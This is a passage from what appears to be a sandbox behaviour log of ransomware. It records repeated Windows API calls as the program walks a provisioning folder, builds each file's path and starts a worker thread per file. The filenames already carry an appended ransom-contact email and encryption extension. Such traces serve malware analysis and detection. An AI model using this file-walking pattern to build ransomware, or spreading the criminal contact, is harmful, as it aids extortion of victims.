ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d9d1c34, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x398, dwReserved0=0x0, dwReserved1=0x0, cFileName="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="153__C~1.D0E")) returned 1 [0177.546] wcscmp (_String1="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.546] wcscmp (_String1="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18e) returned 0x2fa8640 [0177.546] wcscpy (in: _Dest=0x2fa8640, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.546] wcscat (in: _Dest=0x2fa8640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.546] wcscat (in: _Dest=0x2fa8640, _Source="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0177.547] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d9f7dc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="154__C~1.D0E")) returned 1 [0177.547] wcscmp (_String1="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.547] wcscmp (_String1="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2fa87d8 [0177.547] wcscpy (in: _Dest=0x2fa87d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.547] wcscat (in: _Dest=0x2fa87d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.547] wcscat (in: _Dest=0x2fa87d8, _Source="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0177.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa87d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0177.548] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8da1dd6a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="155__C~1.D0E")) returned 1 [0177.548] wcscmp (_String1="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.548] wcscmp (_String1="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.548] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x190) returned 0x2fa8950 [0177.548] wcscpy (in: _Dest=0x2fa8950, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.548] wcscat (in: _Dest=0x2fa8950, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.548] wcscat (in: _Dest=0x2fa8950, _Source="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0177.548] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8da440ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="156__C~1.D0E")) returned 1 [0177.549] wcscmp (_String1="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.549] wcscmp (_String1="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2fa8ae8 [0177.549] wcscpy (in: _Dest=0x2fa8ae8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.549] wcscat (in: _Dest=0x2fa8ae8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.549] wcscat (in: _Dest=0x2fa8ae8, _Source="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0177.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0177.549] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8da6a1d2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="157__C~1.D0E")) returned 1 [0177.549] wcscmp (_String1="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.549] wcscmp (_String1="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x192) returned 0x2fa8c60 [0177.550] wcscpy (in: _Dest=0x2fa8c60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.550] wcscat (in: _Dest=0x2fa8c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.550] wcscat (in: _Dest=0x2fa8c60, _Source="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0177.550] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dab6716, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="158__C~1.D0E")) returned 1 [0177.550] wcscmp (_String1="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.550] wcscmp (_String1="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.550] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x188) returned 0x2fa8e00 [0177.550] wcscpy (in: _Dest=0x2fa8e00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.550] wcscat (in: _Dest=0x2fa8e00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.550] wcscat (in: _Dest=0x2fa8e00, _Source="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0177.551] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dadcb3e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="159__C~1.D0E")) returned 1 [0177.556] wcscmp (_String1="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.556] wcscmp (_String1="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x194) returned 0x2fa8f90 [0177.556] wcscpy (in: _Dest=0x2fa8f90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.556] wcscat (in: _Dest=0x2fa8f90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.556] wcscat (in: _Dest=0x2fa8f90, _Source="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0177.557] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8db02d3d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38f, dwReserved0=0x0, dwReserved1=0x0, cFileName="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="15__CO~1.D0E")) returned 1 [0177.557] wcscmp (_String1="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.557] wcscmp (_String1="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2fa9130 [0177.557] wcscpy (in: _Dest=0x2fa9130, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.557] wcscat (in: _Dest=0x2fa9130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.557] wcscat (in: _Dest=0x2fa9130, _Source="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0177.558] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8db2907c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="160__C~1.D0E")) returned 1 [0177.558] wcscmp (_String1="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.558] wcscmp (_String1="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.558] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x194) returned 0x2fa92c0 [0177.558] wcscpy (in: _Dest=0x2fa92c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.558] wcscat (in: _Dest=0x2fa92c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.558] wcscat (in: _Dest=0x2fa92c0, _Source="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa92c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0177.559] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8db9da53, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39a, dwReserved0=0x0, dwReserved1=0x0, cFileName="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="161__C~1.D0E")) returned 1 [0177.559] wcscmp (_String1="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.559] wcscmp (_String1="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.559] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x194) returned 0x2fa9460 [0177.559] wcscpy (in: _Dest=0x2fa9460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.559] wcscat (in: _Dest=0x2fa9460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.559] wcscat (in: _Dest=0x2fa9460, _Source="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0177.559] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, 